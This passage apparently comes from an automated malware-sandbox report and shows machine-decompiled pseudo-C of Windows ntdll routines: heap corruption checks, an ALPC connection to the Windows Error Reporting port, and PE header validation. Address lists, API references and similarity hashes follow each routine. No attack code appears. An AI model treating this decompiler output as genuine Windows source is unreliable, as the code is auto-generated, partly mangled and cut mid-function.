						if( *(__ecx + 0x4c) == 0) {
							_t44 =  *__edx & 0x0000ffff;
						} else {
							_t73 =  *__edx;
							if(( *(__ecx + 0x4c) & _t73) != 0) {
								_t73 = _t73 ^  *(__ecx + 0x50);
							}
							_t44 = _t73 & 0x0000ffff;
						}
					} else {
						_t104 = __edx >> 0x00000003 ^  *__edx ^  *0x6aa0874c ^ __ecx;
						if(_t104 == 0) {
							_t76 =  *((intOrPtr*)(__edx - (_t104 >> 0xd)));
						} else {
							_t76 = 0;
						}
						_t44 =  *((intOrPtr*)(_t76 + 0x14));
					}
					_t94 =  *((intOrPtr*)(_t114 + 7));
					_t108 = _t44 & 0xffff;
					if(_t94 != 5) {
						if((_t94 & 0x00000040) == 0) {
							if((_t94 & 0x0000003f) == 0x3f) {
								if(_t94 >= 0) {
									if( *(_t84 + 0x4c) == 0) {
										_t48 =  *_t114 & 0x0000ffff;
									} else {
										_t66 =  *_t114;
										if(( *(_t84 + 0x4c) & _t66) != 0) {
											_t66 = _t66 ^  *(_t84 + 0x50);
										}
										_t48 = _t66 & 0x0000ffff;
									}
								} else {
									_t99 = _t114 >> 0x00000003 ^  *_t114 ^  *0x6aa0874c ^ _t84;
									if(_t99 == 0) {
										_t69 =  *((intOrPtr*)(_t114 - (_t99 >> 0xd)));
									} else {
										_t69 = 0;
									}
									_t48 =  *((intOrPtr*)(_t69 + 0x14));
								}
								_t85 =  *(_t114 + (_t48 & 0xffff) * 8 - 4);
							} else {
								_t85 = _t94 & 0x3f;
							}
						} else {
							_t85 =  *(_t114 + 4 + (_t94 & 0x3f) * 8) & 0x0000ffff;
						}
					} else {
						_t85 =  *(_t84 + 0x54) & 0x0000ffff ^  *(_t114 + 4) & 0x0000ffff;
					}
					_t110 = (_t108 << 3) - _t85;
				} else {
					if( *(__ecx + 0x4c) == 0) {
						_t77 =  *__edx & 0x0000ffff;
					} else {
						_t79 =  *__edx;
						if(( *(__ecx + 0x4c) & _t79) != 0) {
							_t79 = _t79 ^  *(__ecx + 0x50);
						}
						_t77 = _t79 & 0x0000ffff;
					}
					_t110 =  *((intOrPtr*)(_t114 - 8)) - (_t77 & 0x0000ffff);
				}
				_t51 =  *((intOrPtr*)(_t114 + 7));
				if(_t51 != 5) {
					if((_t51 & 0x00000040) == 0) {
						_t52 = 0;
						goto L42;
					}
					_t64 = _t51 & 0x3f;
					goto L38;
				} else {
					_t64 =  *(_t114 + 6) & 0x000000ff;
					L38:
					_t52 = _t64 << 0x00000003 & 0x0000ffff;
					L42:
					_t35 = _t114 + 8; // -16
					_t111 = _t110 + (_t52 & 0x0000ffff);
					_t83 = _t35 + _t111;
					_t54 = E6A96D4F0(_t83, 0x6a8f6c58, 8);
					_v8 = _t54;
					if(_t54 == 8) {
						goto L49;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t111);
					_push(_v8 + _t83);
					E6A91B150("Heap block at %p modified at %p past requested size of %Ix\n", _t114);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6aa06378 = 1;
						asm("int3");
						 *0x6aa06378 = 0;
					}
					_t43 = 0;
					goto L50;
				}
			}

0x6a9c23e3
0x6a9c23e8
0x6a9c23eb
0x6a9c23ee
0x6a9c23f3
0x6a9c259b
0x6a9c259b
0x6a9c259d
0x6a9c25a3
0x6a9c25a3
0x6a9c23fb
0x6a9c2424
0x6a9c244f
0x6a9c2460
0x6a9c2451
0x6a9c2451
0x6a9c2456
0x6a9c2458
0x6a9c2458
0x6a9c245b
0x6a9c245b
0x6a9c2426
0x6a9c2431
0x6a9c2436
0x6a9c2443
0x6a9c2438
0x6a9c2438
0x6a9c2438
0x6a9c2445
0x6a9c2445
0x6a9c2463
0x6a9c2469
0x6a9c246f
0x6a9c2480
0x6a9c2495
0x6a9c24a1
0x6a9c24ce
0x6a9c24df
0x6a9c24d0
0x6a9c24d0
0x6a9c24d5
0x6a9c24d7
0x6a9c24d7
0x6a9c24da
0x6a9c24da
0x6a9c24a3
0x6a9c24b0
0x6a9c24b5
0x6a9c24c2
0x6a9c24b7
0x6a9c24b7
0x6a9c24b7
0x6a9c24c4
0x6a9c24c4
0x6a9c24e8
0x6a9c2497
0x6a9c249a
0x6a9c249a
0x6a9c2482
0x6a9c2488
0x6a9c2488
0x6a9c2471
0x6a9c2479
0x6a9c2479
0x6a9c24ef
0x6a9c23fd
0x6a9c2401
0x6a9c2412
0x6a9c2403
0x6a9c2403
0x6a9c2408
0x6a9c240a
0x6a9c240a
0x6a9c240d
0x6a9c240d
0x6a9c241b
0x6a9c241b
0x6a9c24f1
0x6a9c24f6
0x6a9c2507
0x6a9c2510
0x00000000
0x6a9c2510
0x6a9c250b
0x00000000
0x6a9c24f8
0x6a9c24f8
0x6a9c24fc
0x6a9c2500
0x6a9c2512
0x6a9c2515
0x6a9c251a
0x6a9c2521
0x6a9c2524
0x6a9c2529
0x6a9c252f
0x00000000
0x00000000
0x6a9c253c
0x6a9c255c
0x6a9c2561
0x6a9c253e
0x6a9c2554
0x6a9c2559
0x6a9c256a
0x6a9c256d
0x6a9c2574
0x6a9c2586
0x6a9c2588
0x6a9c258f
0x6a9c2590
0x6a9c2590
0x6a9c2597
0x00000000
0x6a9c2597

APIs

RtlCompareMemory.1105(-00000010,6A8F6C58,00000008,?,-00000018,?,?,?,6A9D4BD7), ref: 6A9C2524
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000010,6A8F6C58,00000008,?,-00000018,?,?,?,6A9D4BD7), ref: 6A9C2554
DbgPrint.1105(HEAP: ,-00000010,6A8F6C58,00000008,?,-00000018,?,?,?,6A9D4BD7), ref: 6A9C2561
DbgPrint.1105(Heap block at %p modified at %p past requested size of %Ix,-00000018,?,?,-00000010,6A8F6C58,00000008,?,-00000018,?,?,?,6A9D4BD7), ref: 6A9C2574

Strings

HEAP: , xrefs: 6A9C255C
HEAP[%wZ]: , xrefs: 6A9C254F
Heap block at %p modified at %p past requested size of %Ix, xrefs: 6A9C256F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemory
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 216965414-3815128232
Opcode ID: 7e196be11248d26c72770d46992dfac31a9eb7c8a1f7bd93e24faa35acf5545b
Instruction ID: bc6f1e889255d6f77128e07e897d22a634933944b08f942f3fe84b22cf0ab7fb
Opcode Fuzzy Hash: 7e196be11248d26c72770d46992dfac31a9eb7c8a1f7bd93e24faa35acf5545b
Instruction Fuzzy Hash: 34510534104A909BE360EA1DC88477277E5DB49784F7258DAE4E38B281FE35D843DA63

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A1570, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6A9A1570(intOrPtr __ecx, signed int __edx, void* __edi, void* __eflags) {
				signed int _v8;
				char _v36;
				void _v52;
				char _v56;
				char _v60;
				short _v64;
				char _v68;
				char _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				char _v100;
				int _v104;
				int _v108;
				int _v112;
				int _v116;
				int _v120;
				char _v124;
				void* _v132;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t48;
				intOrPtr _t53;
				intOrPtr _t59;
				signed int _t61;
				signed int _t62;
				signed int* _t63;
				signed int* _t70;
				int _t73;
				signed int _t84;

				_t82 = __edi;
				_t81 = __edx;
				_v8 =  *0x6aa0d360 ^ _t84;
				_t73 = 0;
				_v76 = __edx;
				_v80 = __ecx;
				_v60 = 0;
				_v56 = 0;
				_v68 = 0;
				_v64 = 0x500;
				_t48 = E6A9A16FA();
				_t83 = _t48;
				if(_t48 < 0) {
					L19:
					if(_v60 != 0) {
						_push(_v60);
						E6A9595D0();
					}
					return E6A95B640(_t83, _t73, _v8 ^ _t84, _t81, _t82, _t83);
				}
				_push(0);
				_push(8);
				_push( &_v100);
				_push(0x73);
				_t53 = E6A959860();
				_t83 = _t53;
				if(_t53 < 0) {
					goto L19;
				}
				_t83 = E6A9A176C(_v100);
				if(_t83 < 0) {
					goto L19;
				}
				_t92 = _t83 - 0x102;
				if(_t83 == 0x102) {
					goto L19;
				}
				RtlInitUnicodeString( &_v132, L"\\WindowsErrorReportingServicePort");
				memset( &_v52, 0, 0x2c);
				_v36 = 0x568;
				_push( &_v56);
				_t59 = E6A9A1879(0,  &_v68, __edi, _t83, _t92);
				_t83 = _t59;
				if(_t59 >= 0) {
					_t61 = _v96;
					_v124 = 0x18;
					_v120 = 0;
					_v112 = 0;
					_v116 = 0;
					_v108 = 0;
					_v104 = 0;
					if(_t61 != 0xffffffff) {
						_t81 = _t61 * 0xffffd8f0 >> 0x20;
						_t62 = _t61 * 0xffffd8f0;
						__eflags = _t62;
						_v92 = _t62;
						_t63 =  &_v92;
						_v88 = _t61 * 0xffffd8f0 >> 0x20;
					} else {
						_t73 = 1;
						_t63 = 0;
					}
					_push(_t63);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(_v56);
					_push(0x20000);
					_push( &_v52);
					_push( &_v124);
					_push( &_v132);
					_push( &_v60);
					_t83 = E6A959C70();
					if(_t83 >= 0 && _t83 != 0x102) {
						_v72 = 0x568;
						if(_t73 == 0) {
							_t70 =  &_v92;
						} else {
							_t70 = 0;
						}
						_t73 = _v76;
						_push(_t70);
						_push(0);
						_push( &_v72);
						_push(_t73);
						_push(0);
						_push(_v80);
						_push(0x20000);
						_push(_v60);
						_t83 = E6A959DA0();
						if(_t83 >= 0 && _t83 != 0x102) {
							_t83 =  *((intOrPtr*)(_t73 + 0x1c));
							if( *((intOrPtr*)(_t73 + 0x1c)) >= 0) {
								_t83 = 0;
							}
						}
					}
				}
				if(_v56 != 0) {
					E6A9A1AD6(_v56);
				}
				goto L19;
			}

0x6a9a1570
0x6a9a1570
0x6a9a1582
0x6a9a1586
0x6a9a1588
0x6a9a158c
0x6a9a158f
0x6a9a1592
0x6a9a1595
0x6a9a1598
0x6a9a159e
0x6a9a15a3
0x6a9a15a7
0x6a9a16da
0x6a9a16de
0x6a9a16e0
0x6a9a16e3
0x6a9a16e3
0x6a9a16f9
0x6a9a16f9
0x6a9a15ad
0x6a9a15ae
0x6a9a15b3
0x6a9a15b4
0x6a9a15b6
0x6a9a15bb
0x6a9a15bf
0x00000000
0x00000000
0x6a9a15cd
0x6a9a15d1
0x00000000
0x00000000
0x6a9a15d7
0x6a9a15dd
0x00000000
0x00000000
0x6a9a15ec
0x6a9a15f8
0x6a9a1600
0x6a9a160d
0x6a9a1611
0x6a9a1616
0x6a9a161a
0x6a9a1620
0x6a9a1623
0x6a9a162a
0x6a9a162d
0x6a9a1630
0x6a9a1633
0x6a9a1636
0x6a9a163c
0x6a9a1649
0x6a9a1649
0x6a9a1649
0x6a9a164b
0x6a9a164e
0x6a9a1651
0x6a9a163e
0x6a9a163e
0x6a9a1640
0x6a9a1640
0x6a9a1654
0x6a9a1657
0x6a9a1658
0x6a9a1659
0x6a9a165a
0x6a9a165b
0x6a9a1661
0x6a9a1666
0x6a9a166a
0x6a9a166e
0x6a9a1672
0x6a9a1678
0x6a9a167c
0x6a9a1686
0x6a9a168f
0x6a9a1695
0x6a9a1691
0x6a9a1691
0x6a9a1691
0x6a9a1698
0x6a9a169b
0x6a9a169c
0x6a9a16a1
0x6a9a16a2
0x6a9a16a3
0x6a9a16a5
0x6a9a16a8
0x6a9a16ad
0x6a9a16b5
0x6a9a16b9
0x6a9a16c3
0x6a9a16c8
0x6a9a16ca
0x6a9a16ca
0x6a9a16c8
0x6a9a16b9
0x6a9a167c
0x6a9a16d0
0x6a9a16d5
0x6a9a16d5
0x00000000

APIs

Part of subcall function 6A9A16FA: ZwQueryWnfStateNameInformation.1105(6A8FFB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?,6A9A15A3,?,00000568), ref: 6A9A1718
Part of subcall function 6A9A16FA: ZwUpdateWnfStateData.1105(6A8FFB74,00000000,00000000,00000000,00000000,00000000,00000000,6A8FFB74,00000001,00000000,00000568,00000004,?,?,00000000), ref: 6A9A172D
Part of subcall function 6A9A16FA: EtwEventWriteNoRegistration.1105(6A8FFB7C,?,00000000,00000000,6A8FFB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?), ref: 6A9A174B

ZwQuerySystemInformation.1105(00000073,?,00000008,00000000,?,00000568), ref: 6A9A15B6

Part of subcall function 6A959860: LdrInitializeThunk.NTDLL(6A9A15BB,00000073,?,00000008,00000000,?,00000568), ref: 6A95986A

Part of subcall function 6A9A176C: ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6A9A17B5
Part of subcall function 6A9A176C: ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6A9A17E1
Part of subcall function 6A9A176C: ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6A9A17EB

RtlInitUnicodeString.1105(?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6A9A15EC
memset.1105(?,00000000,0000002C,?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6A9A15F8
ZwAlpcConnectPort.1105(?,?,00000018,?,00020000,?,00000000,00000000,00000000,00000000,?), ref: 6A9A1673
ZwAlpcSendWaitReceivePort.1105(?,00020000,?,00000000,?,00000568,00000000,?,?,?,00000018,?,00020000,?,00000000,00000000), ref: 6A9A16B0
ZwClose.1105(00000000,?,00000568), ref: 6A9A16E3

Strings

\WindowsErrorReportingServicePort, xrefs: 6A9A15E3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AlpcCloseEventInformationPortQueryStateWait$ConnectDataInitInitializeNameObjectOpenReceiveRegistrationSendSingleStringSystemThunkUnicodeUpdateWritememset
String ID: \WindowsErrorReportingServicePort
API String ID: 360723211-589754893
Opcode ID: 00b3bfae00f2931685108dca57646b9875df96162d504f1b691cb299524a3996
Instruction ID: 2e5276924b8b883f9e0ac96b1a1baad12466363199f4f2fe11b74b1c07f77797
Opcode Fuzzy Hash: 00b3bfae00f2931685108dca57646b9875df96162d504f1b691cb299524a3996
Instruction Fuzzy Hash: 40413FB1D0161CABDF10CEA4D885AEEBBB9AF05714F35012AEA14EB241DB30DD058BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A92DD80, Relevance: 12.3, APIs: 8, Instructions: 337
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A92DD80(void* __ecx, signed int __edx) {
				intOrPtr _v8;
				signed char _v13;
				void* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				long _v40;
				signed char _v44;
				signed int _v48;
				signed int _v52;
				void* __ebp;
				signed int _t111;
				signed char _t117;
				void* _t119;
				void* _t121;
				signed int _t123;
				signed int _t132;
				intOrPtr _t141;
				signed char _t142;
				signed int _t145;
				signed int _t149;
				signed int _t150;
				signed char _t151;
				signed int* _t157;
				signed int _t162;
				signed int _t165;
				signed char _t168;
				signed int _t169;
				void* _t172;
				signed char _t176;
				char _t178;
				signed int _t186;
				signed int _t187;
				signed int _t188;
				signed int _t195;
				signed int _t199;
				void* _t201;
				signed int* _t203;
				signed int _t207;
				signed int* _t208;
				void* _t213;

				_t186 = __edx;
				_v8 =  *((intOrPtr*)(_t213 + 4));
				_t203 = __edx;
				_v24 = 0;
				_t195 = __ecx;
				_v32 = __edx;
				_v20 = __ecx;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((intOrPtr*)(__edx + 8)) = 0;
				if( *0x6aa08474 != 3) {
					L16:
					_push(0);
					_push(0xc);
					_push( &_v52);
					_push(6);
					_push(_t195);
					_push(0xffffffff);
					if(E6A959730() < 0) {
						L66:
						_t165 = 0;
						_v20 = 0;
						L21:
						_t203[1] = _t165;
						if(_t165 == 0) {
							_t187 = _v24;
							L43:
							_t111 = _t187;
							L15:
							return _t111;
						}
						_v28 = 0;
						E6A92E9C0(1, _t165, 0, 0,  &_v28);
						if(( *(_v28 + 0x5e) & 0x00000400) != 0) {
							L56:
							_t188 = _t186 | 0xffffffff;
							_t111 = _t188;
							_t203[3] = _t195 | _t188;
							 *_t203 = _t188;
							goto L15;
						}
						E6A92E9C0(1, _v20, 0, 0,  &_v40);
						_t117 = _v20;
						_t195 = 0;
						_v13 = 1;
						_t168 = _t117;
						_v24 = _t168;
						_v32 = 0;
						_v36 = 0;
						if((_t117 & 0x00000003) != 0) {
							_v24 = _t168;
							_v13 =  !_t117 & 0x00000001;
						}
						_t119 = E6A92E9C0(1, _t168, 0, 0,  &_v32);
						_t169 = _v32;
						if(_t169 == 0) {
							L72:
							if(_t119 < 0) {
								goto L74;
							}
							_t186 = _v32;
						} else {
							_t132 =  *(_t169 + 0x18) & 0x0000ffff;
							_t186 = 0x10b;
							if(_t132 != 0x10b) {
								_t186 = 0x20b;
								if(_t132 != 0x20b) {
									L74:
									_t121 = RtlImageDirectoryEntryToData(_v20, 1, 0xe,  &_v40);
									if(_t121 == 0 || ( *(_t121 + 0x10) & 0x00000001) == 0) {
										_t187 = 0;
										L42:
										_t203[3] = 0;
										 *_t203 = _t187;
										goto L43;
									} else {
										goto L56;
									}
								}
								_t186 = _v13;
								_t119 = E6A912F47(_v24, _t186, 0xa,  &_v32, _t169,  &_v36);
								_t195 = _v36;
								goto L72;
							}
							if( *((intOrPtr*)(_t169 + 0x74)) <= 0xa) {
								goto L74;
							}
							_t195 =  *(_t169 + 0xc8);
							if(_t195 == 0) {
								goto L74;
							}
							_t186 =  *(_t169 + 0xcc);
							_v36 = _t186;
							if(_v13 == 0) {
								if(_t195 <  *((intOrPtr*)(_t169 + 0x54))) {
									goto L30;
								}
								_t195 = E6A953C00(_t169, _v24, _t195);
								if(_t195 == 0) {
									goto L74;
								}
								_t186 = _v36;
								L31:
								if(_t195 == 0 || _t186 == 0 || _t186 != 0x40 && _t186 !=  *_t195) {
									goto L74;
								} else {
									_t123 =  *(_v40 + 4) & 0x0000ffff;
									if(_t123 == 0x3a64 || _t123 == 0x14c) {
										if( *_t195 < 0x48) {
											goto L74;
										}
										_t186 =  *(_t195 + 0x40);
										if(_t186 == 0) {
											goto L74;
										}
										_t195 =  *(_t195 + 0x44);
										if(_t195 == 0) {
											goto L74;
										}
										_t172 = _v20;
										if(_t186 <  *((intOrPtr*)(_v28 + 0x54)) + _t172 || _t195 >  *((intOrPtr*)(_v28 + 0x50)) - _t186 + _t172 >> 2) {
											goto L56;
										} else {
											goto L42;
										}
									} else {
										goto L74;
									}
								}
							}
							L30:
							_t195 = _t195 + _v24;
						}
						goto L31;
					}
					_t165 = _v52;
					_v20 = _t165;
					if(_t165 == 0 || (_v44 & 0x00000003) != 0 || _t195 < _t165) {
						goto L66;
					} else {
						_t203[2] = _v48;
						goto L21;
					}
				}
				E6A93FAD0(0x6aa08654);
				_t141 =  *0x6aa0b350; // 0x1
				if(_t141 == 1) {
					L13:
					_t142 = 0x11;
					asm("lock cmpxchg [esi], ecx");
					_t176 = 0x11;
					if(0x11 != 0x11) {
						if(1 == 0) {
							L6A96DF30(0x11, _t186, 0xc0000264);
							L62:
							_t145 = _t176 & 0xfffffff0;
							_t186 =  *(_t145 + 4);
							if(_t186 != 0) {
								L64:
								asm("lock xadd [edx+0x10], eax");
								if((_t145 | 0xffffffff) - 1 > 0) {
									goto L14;
								}
								_v28 = 0xfffffff7;
								L50:
								_t199 = _v28;
								while(1) {
									_t149 = _t176 & 0x00000006;
									_v36 = _t149;
									if(_t149 != 2) {
										_t150 = _t199;
									} else {
										_t150 = _t199 + 4;
									}
									_t186 = _t176 + _t150;
									_t151 = _t176;
									asm("lock cmpxchg [edi], esi");
									_t199 = _v28;
									if(_t151 == _t176) {
										break;
									}
									_t176 = _t151;
								}
								_t195 = _v20;
								if(_v36 == 2) {
									_t186 = 0;
									E6A9500C2(0x6aa08654, 0, 0);
								}
								goto L14;
							} else {
								goto L63;
							}
							do {
								L63:
								_t145 =  *_t145;
								_t186 =  *(_t145 + 4);
							} while (_t186 == 0);
							goto L64;
						}
						if(0 != 0) {
							L48:
							if((_t176 & 0x00000008) != 0) {
								goto L62;
							}
							_v28 = _t142 | 0xffffffff;
							goto L50;
						} else {
							goto L46;
						}
						while(1) {
							L46:
							_t75 = _t176 - 0x10; // 0x1
							asm("sbb edx, edx");
							_t186 =  ~((_t176 & 0xfffffff0) - 0x10) & _t75;
							_t142 = _t176;
							asm("lock cmpxchg [esi], edx");
							if(_t142 == _t176) {
								goto L14;
							}
							_t176 = _t142;
							if((_t142 & 0x00000002) == 0) {
								continue;
							}
							goto L48;
						}
					}
					L14:
					_t111 = _v24;
					if(_t111 == 0) {
						if( *0x6aa0b35c == 0) {
							goto L15;
						}
						_t203 = _v32;
						goto L16;
					}
					goto L15;
				}
				_t178 = 1;
				_t8 = _t141 - 1; // 0x0
				_t201 = _t8;
				if(_t201 < 1) {
					L12:
					_t195 = _v20;
					goto L13;
				}
				do {
					_t186 = _t178 + _t201 >> 1;
					_t157 = (_t186 << 4) + 0x6aa0b360;
					_t207 = _t157[1];
					if(_v20 < _t207) {
						if(_t186 == 0) {
							goto L12;
						}
						_t201 = _t186 - 1;
						goto L7;
					}
					if(_v20 < _t157[2] + _t207) {
						_t208 = _v32;
						 *_t208 =  *_t157;
						_t208[1] = _t157[1];
						_t208[2] = _t157[2];
						_t208[3] = _t157[3];
						_t186 =  *0x7ffe0330;
						asm("ror eax, cl");
						_t162 =  *_t208 ^ _t186;
						_v24 = _t162;
						 *_t208 = _t162;
						goto L12;
					}
					_t178 = _t186 + 1;
					L7:
				} while (_t201 >= _t178);
				goto L12;
			}

0x6a92dd80
0x6a92dd92
0x6a92dda3
0x6a92dda5
0x6a92ddad
0x6a92ddaf
0x6a92ddb2
0x6a92ddb5
0x6a92ddbc
0x6a92ddc3
0x6a92de8b
0x6a92de8b
0x6a92de8d
0x6a92de92
0x6a92de93
0x6a92de95
0x6a92de96
0x6a92de9f
0x6a97b5c2
0x6a97b5c2
0x6a97b5c4
0x6a92decb
0x6a92decb
0x6a92ded0
0x6a97b645
0x6a92e01e
0x6a92e01e
0x6a92de82
0x6a92de8a
0x6a92de8a
0x6a92ded9
0x6a92dee8
0x6a92def9
0x6a92e0b6
0x6a92e0b6
0x6a92e0bb
0x6a92e0bd
0x6a92e0c0
0x00000000
0x6a92e0c0
0x6a92df0d
0x6a92df12
0x6a92df15
0x6a92df17
0x6a92df1b
0x6a92df1d
0x6a92df20
0x6a92df27
0x6a92df2c
0x6a92df35
0x6a92df38
0x6a92df38
0x6a92df46
0x6a92df4b
0x6a92df50
0x6a97b611
0x6a97b613
0x00000000
0x00000000
0x6a97b615
0x6a92df56
0x6a92df56
0x6a92df5a
0x6a92df62
0x6a97b5ee
0x6a97b5f6
0x6a97b61d
0x6a97b629
0x6a97b630
0x6a97b63c
0x6a92e019
0x6a92e019
0x6a92e01c
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97b630
0x6a97b5f8
0x6a97b609
0x6a97b60e
0x00000000
0x6a97b60e
0x6a92df6c
0x00000000
0x00000000
0x6a92df72
0x6a92df7a
0x00000000
0x00000000
0x6a92df84
0x6a92df8a
0x6a92df8d
0x6a97b5cf
0x00000000
0x00000000
0x6a97b5e0
0x6a97b5e4
0x00000000
0x00000000
0x6a97b5e6
0x6a92df96
0x6a92df98
0x00000000
0x6a92dfb3
0x6a92dfbb
0x6a92dfc2
0x6a92dfd5
0x00000000
0x00000000
0x6a92dfdb
0x6a92dfe0
0x00000000
0x00000000
0x6a92dfe6
0x6a92dfeb
0x00000000
0x00000000
0x6a92dff4
0x6a92dffe
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a92dfc2
0x6a92df98
0x6a92df93
0x6a92df93
0x6a92df93
0x00000000
0x6a92df50
0x6a92dea5
0x6a92dea8
0x6a92dead
0x00000000
0x6a92dec5
0x6a92dec8
0x00000000
0x6a92dec8
0x6a92dead
0x6a92ddce
0x6a92ddd3
0x6a92dddb
0x6a92de5c
0x6a92de63
0x6a92de68
0x6a92de6c
0x6a92de71
0x6a92e028
0x6a97b58b
0x6a97b590
0x6a97b592
0x6a97b595
0x6a97b59a
0x6a97b5a5
0x6a97b5a8
0x6a97b5b0
0x00000000
0x00000000
0x6a97b5b6
0x6a92e067
0x6a92e067
0x6a92e070
0x6a92e072
0x6a92e075
0x6a92e07b
0x6a92e0dc
0x6a92e07d
0x6a92e07d
0x6a92e07d
0x6a92e080
0x6a92e08a
0x6a92e08c
0x6a92e090
0x6a92e095
0x00000000
0x00000000
0x6a92e0e0
0x6a92e0e0
0x6a92e09b
0x6a92e09e
0x6a92e0a5
0x6a92e0ac
0x6a92e0ac
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97b59c
0x6a97b59c
0x6a97b59c
0x6a97b59e
0x6a97b5a1
0x00000000
0x6a97b59c
0x6a92e031
0x6a92e058
0x6a92e05b
0x00000000
0x00000000
0x6a92e064
0x00000000
0x00000000
0x00000000
0x00000000
0x6a92e033
0x6a92e033
0x6a92e035
0x6a92e040
0x6a92e042
0x6a92e044
0x6a92e046
0x6a92e04c
0x00000000
0x00000000
0x6a92e052
0x6a92e056
0x00000000
0x00000000
0x00000000
0x6a92e056
0x6a92e033
0x6a92de77
0x6a92de77
0x6a92de7c
0x6a92e0ce
0x00000000
0x00000000
0x6a92e0d4
0x00000000
0x6a92e0d4
0x00000000
0x6a92de7c
0x6a92dddd
0x6a92dde2
0x6a92dde2
0x6a92dde7
0x6a92de59
0x6a92de59
0x00000000
0x6a92de59
0x6a92ddf0
0x6a92ddf3
0x6a92ddfa
0x6a92ddff
0x6a92de05
0x6a92de1c
0x00000000
0x00000000
0x6a92de1e
0x00000000
0x6a92de1e
0x6a92de0f
0x6a92de25
0x6a92de28
0x6a92de2d
0x6a92de33
0x6a92de3e
0x6a92de41
0x6a92de50
0x6a92de52
0x6a92de54
0x6a92de57
0x00000000
0x6a92de57
0x6a92de11
0x6a92de14
0x6a92de14
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6AA08654,6A9617F0,00000000), ref: 6A92DDCE
ZwQueryVirtualMemory.1105(000000FF,000000FE,00000006,?,0000000C,00000000,6A9617F0,00000000), ref: 6A92DE98
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000,6A9617F0,00000000), ref: 6A92DEE8
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000), ref: 6A92DF0D
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,00000000,00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF), ref: 6A92DF46

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImage$AcquireLockMemoryQuerySharedVirtual
String ID:
API String ID: 114269737-0
Opcode ID: c0d1cb4556567c6d81e66f40bbae374bb42bfd2d76f02f9b5c5e4660490ee6af
Instruction ID: 8050b27ec1795e094b7b9edc5be002d7534a49664993faa77507a2c3a478f625
Opcode Fuzzy Hash: c0d1cb4556567c6d81e66f40bbae374bb42bfd2d76f02f9b5c5e4660490ee6af
Instruction Fuzzy Hash: B9C1E270A142069FFB24CF68C840BAEB7F6AF85314F35856DD565AB385DF30E9428B90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D3518, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6A9D3518(signed int* __ecx) {
				char _v8;
				void* _t11;
				signed int* _t34;

				_push(__ecx);
				_t34 = __ecx;
				if(__ecx !=  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
					if(E6A9140E1("RtlDestroyHeap") == 0 || E6A9D4496(__ecx, 0) == 0) {
						goto L5;
					} else {
						_t32 = __ecx + 0x80;
						 *((intOrPtr*)(__ecx + 0x60)) = 0;
						if( *((intOrPtr*)(__ecx + 0x80)) != 0) {
							_v8 = 0;
							E6A94174B(_t32,  &_v8, 0x8000);
						}
						_t11 = 1;
					}
				} else {
